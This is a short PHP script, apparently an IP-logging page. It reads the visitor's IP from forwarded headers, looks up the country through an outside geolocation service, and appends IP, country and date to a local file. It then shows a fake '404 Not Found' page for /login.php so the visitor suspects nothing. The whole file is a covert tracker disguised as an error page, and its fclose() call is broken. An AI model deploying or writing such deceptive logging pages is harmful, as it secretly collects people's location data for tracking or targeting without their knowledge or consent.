Untitled

<?php
function get_ip_address()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']) && validate_ip($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        if (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') !== false) {
            $iplist = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            foreach ($iplist as $ip) {
                if (validate_ip($ip))
                    return $ip;
            }
        } else {
            if (validate_ip($_SERVER['HTTP_X_FORWARDED_FOR']))
                return $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED']) && validate_ip($_SERVER['HTTP_X_FORWARDED']))
        return $_SERVER['HTTP_X_FORWARDED'];
    if (!empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']) && validate_ip($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']))
        return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    if (!empty($_SERVER['HTTP_FORWARDED_FOR']) && validate_ip($_SERVER['HTTP_FORWARDED_FOR']))
        return $_SERVER['HTTP_FORWARDED_FOR'];
    if (!empty($_SERVER['HTTP_FORWARDED']) && validate_ip($_SERVER['HTTP_FORWARDED']))
        return $_SERVER['HTTP_FORWARDED'];
    return $_SERVER['REMOTE_ADDR'];
}
function validate_ip($ip)
{
    if (strtolower($ip) === 'unknown')
        return false;
    $ip = ip2long($ip);
    if ($ip !== false && $ip !== -1) {
        $ip = sprintf('%u', $ip);
        if ($ip >= 0 && $ip <= 50331647)
            return false;
        if ($ip >= 167772160 && $ip <= 184549375)
            return false;
        if ($ip >= 2130706432 && $ip <= 2147483647)
            return false;
        if ($ip >= 2851995648 && $ip <= 2852061183)
            return false;
        if ($ip >= 2886729728 && $ip <= 2887778303)
            return false;
        if ($ip >= 3221225984 && $ip <= 3221226239)
            return false;
        if ($ip >= 3232235520 && $ip <= 3232301055)
            return false;
        if ($ip >= 4294967040)
            return false;
    }
    return true;
}
$ip      = get_ip_address();
$json    = file_get_contents("http://extreme-ip-lookup.com/json/" . $ip);
$data    = json_decode($json, true);
$country = $data['country'];
$date    = date('d/m/Y');
$myfile  = fopen("ips.txt", "a+");
fwrite($myfile, "Logged IP: ");
fwrite($myfile, get_ip_address());
fwrite($myfile, " ($country), at ");
fwrite($myfile, $date);
fwrite($myfile, "\n");
fclose();
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /login.php was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>